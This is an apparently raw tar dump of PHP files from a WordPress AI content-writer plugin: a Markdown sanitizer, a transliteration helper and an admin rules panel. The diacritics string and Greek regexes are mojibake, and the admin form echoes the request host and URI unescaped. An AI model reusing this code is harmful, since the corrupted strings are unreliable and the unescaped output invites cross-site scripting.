(isset($safeUrlNameToAtt[$Element['name']])) { $Element = $this->filterUnsafeUrlInAttribute($Element, $safeUrlNameToAtt[$Element['name']]); } if ( ! empty($Element['attributes'])) { foreach ($Element['attributes'] as $att => $val) { # filter out badly parsed attribute if ( ! preg_match($goodAttribute, $att)) { unset($Element['attributes'][$att]); } # dump onevent attribute elseif (self::striAtStart($att, 'on')) { unset($Element['attributes'][$att]); } } } return $Element; } protected function filterUnsafeUrlInAttribute(array $Element, $attribute) { foreach ($this->safeLinksWhitelist as $scheme) { if (self::striAtStart($Element['attributes'][$attribute], $scheme)) { return $Element; } } $Element['attributes'][$attribute] = str_replace(':', '%3A', $Element['attributes'][$attribute]); return $Element; } # # Static Methods # protected static function escape($text, $allowQuotes = false) { return htmlspecialchars($text, $allowQuotes ? ENT_NOQUOTES : ENT_QUOTES, 'UTF-8'); } protected static function striAtStart($string, $needle) { $len = strlen($needle); if ($len > strlen($string)) { return false; } else { return strtolower(substr($string, 0, $len)) === strtolower($needle); } } static function instance($name = 'default') { if (isset(self::$instances[$name])) { return self::$instances[$name]; } $instance = new static(); self::$instances[$name] = $instance; return $instance; } private static $instances = array(); # # Fields # protected $DefinitionData; # # Read-Only protected $specialCharacters = array( '\\', '`', '*', '_', '{', '}', '[', ']', '(', ')', '>', '#', '+', '-', '.', '!', '|', ); protected $StrongRegex = array( '*' => '/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*[*])+?)[*]{2}(?![*])/s', '_' => '/^__((?:\\\\_|[^_]|_[^_]*_)+?)__(?!_)/us', ); protected $EmRegex = array( '*' => '/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s', '_' => '/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us', ); protected $regexHtmlAttribute = '[a-zA-Z_:][\w:.-]*(?:\s*=\s*(?:[^"\'=<>`\s]+|"[^"]*"|\'[^\']*\'))?'; protected $voidElements = array( 'area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'link', 'meta', 'param', 'source', ); protected $textLevelElements = array( 'a', 'br', 'bdo', 'abbr', 'blink', 'nextid', 'acronym', 'basefont', 'b', 'em', 'big', 'cite', 'small', 'spacer', 'listing', 'i', 'rp', 'del', 'code', 'strike', 'marquee', 'q', 'rt', 'ins', 'font', 'strong', 's', 'tt', 'kbd', 'mark', 'u', 'xm', 'sub', 'nobr', 'sup', 'ruby', 'var', 'span', 'wbr', 'time', ); } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/diacritics.php����������������������������������������������������������������������������������0000644�����������������00000010006�14757771437�0010207 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $diacritics = 'aàÈáâǎãÄăȃȧäåẚảạá¸Ä…á¶áº­áº·áº§áº±áº¯áº¥Ç»áº«áºµÇ¡ÇŸáº©áº³â±¥Ã¦Ç½Ç£á´‚ꬱꜳꜵꜷꜹꜻꜽÉÉ‘ê­¤á¶ê¬°É’ͣᵃªᵄᵆᵅᶛᴬᴭᴀá´â‚bḃƅƀᵬɓƃḅḇᶀꞗȸßẞꞵꞛêžáµ‡áµá´®á´¯Ê™á´ƒáµ¦cćĉÄċƈçḉɕꞔꞓȼ¢ʗá´á´’ɔꜿᶗê¢ê£Â©Í¨á¶œá¶áµ“á´„dÄḋᵭðđɗᶑḓá¸á¸á¸‘á¶É–È¡ê±Ç³Ê£Ç†Ê¤Ê¥È¸Ç²Ç…êºáºŸÆƌͩᵈᶞᵟᴰᴅᴆeèȅéēêěȇĕẽėëẻḙḛẹȩęᶒⱸệá¸á»á¸•áº¿á¸—ễểɇəÇɘɚᶕꬲꬳꬴᴔê­ê­‚•ꜫɛᶓÈꜣê«Éœá´ˆá¶”ÉɞƩͤᵉᵊᵋᵌᶟᴱᴲᴇⱻₑₔfẜáºÆ’ꬵḟẛᶂᵮꞙê­ê¼Ê©êŸ»ï¬€ï¬ï¬‚ffifflᶠꜰgǵḡÄǧğġģǥꬶᵷɡᶃɠꞡáµá¶¢á´³É¢Ê›hħĥȟḣḧɦɧḫḥẖḩⱨꜧꞕƕɥʮʯͪʰʱꭜᶣᵸꟸᴴʜₕiìȉíīĩîÇȋĭïỉɨḭịįᶖḯıɩɪꭠꭡᴉᵻᵼijỻİꟾꟷͥâ±á¶¤á¶¦áµŽá¶§á¶¥á´µáµ¢jȷĵǰɉɟÊijʲᶡᶨᴶᴊⱼkḱǩêêƒê…ƙḳḵⱪķᶄꞣʞĸáµá´·á´‹â‚–lĺľŀłê‰Æšâ±¡É«ê¬·ê¬¸É¬ê¬¹á¸½á¸·á¸»Ä¼É­È´á¶…ê²á¸¹êžŽê‡êžá»»ÇˆÇ‰ÊªÊ«É®Ë¡á¶©á¶ªê­ê­žá¶«á´¸ÊŸá´Œâ‚—mḿá¹áµ¯á¹ƒÉ±á¶†ê³ê¬ºê­‘ᴟɯɰꟺꟿꟽͫáµá¶¬á¶­á´¹á´â‚˜nǹńñňʼnṅᵰṇṉṋņŋɳɲƞꬻꬼȵᶇê´êžƒêž‘ꞥá´á´žÇ‹ÇŒâ¿áµ‘ᶯᶮᶰᴺᴻɴᴎₙoá´á´‘òÈóǿőÅõôÈÇ’Åȯöá»Æ¡êá»Ç«â±ºê‹ÉµÃ¸á´“ǭộợồṑá»á»‘á¹á¹“ớỗỡá¹È­È±È«á»•á»ŸÅ“ɶƣɸÆêʘꬽꬾꬿꭀê­ê­‚ꭃꭄꭢꭣ∅ͦᵒᶱºꟹᶲᴼᴽₒpṕṗê•ê“ᵽᵱᶈê‘þê¥ê§Æ¥ÆªÆ¿È¹êŸ¼áµ–ᴾᴘᴩᵨₚqÊ É‹ê™ê—ȹꞯʘθᶿrŕȑřȓṙÉáµ²êµêž§á¹›Å—ṟᶉꞅɼɽá¹É¾áµ³á´¦É¿Å¿â±¹É¹ÉºÉ»Â®ê¶ê­‡ê­ˆê­‰ê­Šê­‹ê­ŒÍ¬Ê³Ê¶Ê´Êµá´¿Ê€ÊᴙᴚꭆᵣsśŚṡᵴꞩṣşșȿʂᶊṩṥṧƨʃʄʆᶋᶘê­Ê…ƪſtstˢᶳᶴꜱₛtťṫẗƭⱦᵵŧê·á¹±á¹¯á¹­Å£Æ«ÊˆÈ›È¶Ê‡êž‡êœ©Ê¦Ê§Ê¨áµºÍ­áµ—ᶵᵀᴛₜuùȕúűūũûǔȗŭüůủưꭒʉꞹṷṵụṳųᶙɥựǜừṹǘứǚữṻǖửʊᵫᵿꭎê­ê­ê­‘ͧᵘᶶᶷᵙᶸꭟáµá´œáµ¾áµ¤vṽⱱⱴêŸá¹¿á¶ŒÊ‹ÊŒÍ®áµ›â±½á¶¹á¶ºá´ áµ¥wáºáºƒÅµáº‡áº…ẘⱳẉê¡É¯É°êŸ½êŸ¿ÊʬꞶꞷʷᵚᶭᵂᴡxẋáºá¶Ã—ꭓꭔꭕꭖꭗꭘꭙˣ˟ᵡₓᵪyỳýȳỹŷáºÃ¿áº™á»·Æ´Éꭚỵỿɣɤê©ÊŽÆ›Â¥Ê¸Ë áµžÊᵧzźẑžżƶᵶẓẕÊᶎʑȥⱬɀʒǯʓƺᶚƹê£áµ¹á¶»á¶¼á¶½á¶¾á´¢á´£'; if(!function_exists('aiomatic_greeklish_slugs')) { function aiomatic_greeklish_slugs($text) { $expressions = array( '/[αΑ][ιίΙΊ]/u' => 'ai', '/[αΑ][Ï…ÏΥΎ]([θΘκΚξΞπΠσςΣτTφΡχΧψΨ]|\s|$)/u' => 'af$1', '/[αΑ][Ï…ÏΥΎ]/u' => 'av', '/[εΕ][Ï…ÏΥΎ]([θΘκΚξΞπΠσςΣτTφΡχΧψΨ]|\s|$)/u' => 'ef$1', '/[εΕ][Ï…ÏΥΎ]/u' => 'ev', '/[οΟ][Ï…ÏΥΎ]/u' => 'ou', '/[μΜ][πΠ]/u' => 'mp', '/[νÎ][τΤ]/u' => 'nt', '/[τΤ][σΣ]/u' => 'ts', '/[τΤ][ζΖ]/u' => 'tz', '/[γΓ][γΓ]/u' => 'ng', '/[γΓ][κΚ]/u' => 'gk', '/[ηΗ][Ï…Î¥]([θΘκΚξΞπΠσςΣτTφΡχΧψΨ]|\s|$)/u' => 'if$1', '/[ηΗ][Ï…Î¥]/u' => 'iu', '/[θΘ]/u' => 'th', '/[χΧ]/u' => 'ch', '/[ψΨ]/u' => 'ps', '/[αάΑΆ]/u' => 'a', '/[βΒ]/u' => 'v', '/[γΓ]/u' => 'g', '/[δΔ]/u' => 'd', '/[εέΕΈ]/u' => 'e', '/[ζΖ]/u' => 'z', '/[ηήΗΉ]/u' => 'i', '/[ιίϊΙΊΪ]/u' => 'i', '/[κΚ]/u' => 'k', '/[λΛ]/u' => 'l', '/[μΜ]/u' => 'm', '/[νÎ]/u' => 'n', '/[ξΞ]/u' => 'ks', '/[οόΟΌ]/u' => 'o', '/[πΠ]/u' => 'p', '/[ÏΡ]/u' => 'r', '/[σςΣ]/u' => 's', '/[τΤ]/u' => 't', '/[Ï…ÏϋΥΎΫ]/u' => 'y', '/[φΦ]/iu' => 'f', '/[ωώ]/iu' => 'o', '/[«]/iu' => '', '/[»]/iu' => '' ); $text = preg_replace( array_keys( $expressions ), array_values( $expressions ), $text ); return $text; } } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/index.php���������������������������������������������������������������������������������������0000644�����������������00000000037�14757771437�0007203 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Silence is golden. ?> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-rules-list.php�������������������������������������������������������������������������0000644�����������������00001544267�14757771437�0012006 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_items_panel() { $aiomatic_language_names = array( esc_html__("English", 'aiomatic-automatic-ai-content-writer'), esc_html__("Spanish", 'aiomatic-automatic-ai-content-writer'), esc_html__("French", 'aiomatic-automatic-ai-content-writer'), esc_html__("Italian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Afrikaans", 'aiomatic-automatic-ai-content-writer'), esc_html__("Albanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Arabic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Amharic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Armenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Belarusian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bulgarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Catalan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Simplified", 'aiomatic-automatic-ai-content-writer'), esc_html__("Croatian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Czech", 'aiomatic-automatic-ai-content-writer'), esc_html__("Danish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dutch", 'aiomatic-automatic-ai-content-writer'), esc_html__("Estonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Filipino", 'aiomatic-automatic-ai-content-writer'), esc_html__("Finnish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Galician", 'aiomatic-automatic-ai-content-writer'), esc_html__("German", 'aiomatic-automatic-ai-content-writer'), esc_html__("Greek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hebrew", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hindi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hungarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Icelandic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Indonesian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Irish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Japanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Korean", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latvian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lithuanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Norwegian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Macedonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malay", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maltese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Persian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Polish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Portuguese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Romanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Russian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Serbian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovak", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swedish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Thai", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ukrainian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Vietnamese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Welsh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yiddish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tamil", 'aiomatic-automatic-ai-content-writer'), esc_html__("Azerbaijani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kannada", 'aiomatic-automatic-ai-content-writer'), esc_html__("Basque", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bengali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latin", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Traditional", 'aiomatic-automatic-ai-content-writer'), esc_html__("Esperanto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Georgian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Telugu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Gujarati", 'aiomatic-automatic-ai-content-writer'), esc_html__("Haitian Creole", 'aiomatic-automatic-ai-content-writer'), esc_html__("Urdu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Burmese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bosnian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Cebuano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chichewa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Corsican", 'aiomatic-automatic-ai-content-writer'), esc_html__("Frisian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Scottish Gaelic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hausa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hawaian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hmong", 'aiomatic-automatic-ai-content-writer'), esc_html__("Igbo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Javanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kazakh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Khmer", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kyrgyz", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lao", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luxembourgish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malagasy", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malayalam", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maori", 'aiomatic-automatic-ai-content-writer'), esc_html__("Marathi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mongolian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Nepali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Pashto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Punjabi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Samoan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sesotho", 'aiomatic-automatic-ai-content-writer'), esc_html__("Shona", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sindhi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sinhala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Somali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sundanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tajik", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uzbek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Xhosa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yoruba", 'aiomatic-automatic-ai-content-writer'), esc_html__("Zulu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Assammese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aymara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bambara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bhojpuri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dhivehi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dogri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ewe", 'aiomatic-automatic-ai-content-writer'), esc_html__("Guarani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ilocano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kinyarwanda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Konkani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Krio", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish - Sorani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lingala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luganda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maithili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Meiteilon", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mizo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Odia", 'aiomatic-automatic-ai-content-writer'), esc_html__("Oromo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Quechua", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sanskrit", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sepedi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tatar", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tigrinya", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tsonga", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkmen", 'aiomatic-automatic-ai-content-writer'), esc_html__("Twi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uyghur", 'aiomatic-automatic-ai-content-writer') ); $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); $all_rules = get_option('aiomatic_rules_list', array()); if($all_rules === false) { $all_rules = array(); } $rules_count = count($all_rules); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap"> <h1><?php echo esc_html__("Keywords/Titles To Blog Posts", 'aiomatic-automatic-ai-content-writer');?></h1> </div> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <div class="wrap gs_popuptype_holder seo_pops"> <div> <form id="myForm" method="post" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>"> <?php wp_nonce_field('aiomatic_save_rules', '_aiomaticr_nonce'); if (isset($_GET['settings-updated'])) { ?> <div> <p class="cr_saved_notif"><strong><?php echo esc_html__("Settings saved.", 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div> <div class="hideMain"> <hr/> <div class="table-responsive"> <table id="mainRules" class="responsive table cr_main_table"> <thead> <tr> <th class="cr_width_160"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <span id="aiomatic_mode_sel"><?php echo esc_html__("Post Creation Mode", 'aiomatic-automatic-ai-content-writer');?>*</span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The main difference between the Topic Based and Title Based posting mode is that the Topic Based mode will make a separate API request for each chapter of the content (+intro, outro, q&a) and compose the article from the result of each of these separate API requests. While the Title Based posting will make a single API request for the entire post content. For longer articles, it is recommended you use the Topic Based Posting method.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <span id="aiomatic_mode_title"><?php echo esc_html__("Post Title List / TXT File URL / RSS Feed URL", 'aiomatic-automatic-ai-content-writer');?>*</span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input your desired post titles (one per line), a TXT file with titles (one per line) or a RSS feed URL. The plugin will select a random post title at each run. Nested spintax supported. You can also enter RSS feed URLs, from where the plugin will extract a random post title, each time it runs. If you set a RSS feed URL, an item will be randomly selected from the title/description/content of the RSS feed contents - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Schedule", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php $unlocker = get_option('aiomatic_minute_running_unlocked', false); if($unlocker == '1') { echo esc_html__("Select the interval in minutes after which you want this rule to run. Defined in minutes.", 'aiomatic-automatic-ai-content-writer'); } else { echo esc_html__("Select the interval in hours after which you want this rule to run. Defined in hours.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </th> <th> <?php echo esc_html__("# Of Posts", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of posts that this rule can create at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("More Options", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Shows advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Active", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <br/> <input type="checkbox" onchange="thisonChangeHandler(this)" id="exclusion"> </th> <th class="cr_width_160"> <?php echo esc_html__("Info", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The number of items (posts, pages) this rule has generated so far.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_actions"> <?php echo esc_html__("Actions", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run this rule now? Note that only one instance of a rule is allowed at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php echo aiomatic_expand_rules_manual(); if(isset($_GET['aiomatic_page'])) { $current_page = $_GET['aiomatic_page']; } else { $current_page = ''; } if($current_page == '' || (is_numeric($current_page) && $current_page == $max_pages)) { ?> <tr> <td class="cr_short_td"><input type="text" name="aiomatic_rules_list[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_width_80 cr_center"><select autocomplete="off" id="posting_mode" name="aiomatic_rules_list[posting_mode][]" class="cr_width_full"> <option value="topic" selected><?php echo esc_html__("Topic Based/Multiple API Calls", 'aiomatic-automatic-ai-content-writer');?></option> <option value="title"><?php echo esc_html__("Title Based/Single API Call", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> <td class="cr_loi"><textarea rows="1" name="aiomatic_rules_list[post_title][]" placeholder="Please insert your post titles/TXT file URL/RSS feed URLs/%%ai_generated_title%% shortcode" class="cr_width_full"></textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" name="aiomatic_rules_list[schedule][]" max="8765812" class="cr_width_60" placeholder="Select the rule schedule interval" value="24"/></td> <td class="cr_comm_td"><input type="number" step="1" min="0" name="aiomatic_rules_list[max][]" class="cr_width_60" placeholder="Select the # of generated posts" value="1" /></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr" value="Settings"> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id" name="aiomatic_rules_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected('');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h3><?php echo esc_html__("Topic Based Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you set a post topic here, the titles you entered in the 'Post Title List' settings field will not be considered and titles will be auto generated based on this topic! Be sure to edit the 'Title Prompt' settings from below to change the way titles will be created! Enter a post topic list, one on each line. If you leave this field blank, the titles from entered in the 'Post Title List' settings field will be used. If you enter a value here, new titles will be created, based on this topic and the values from the 'Post Title List' will be overwritten. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Generate Post Title Based On Topics (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" 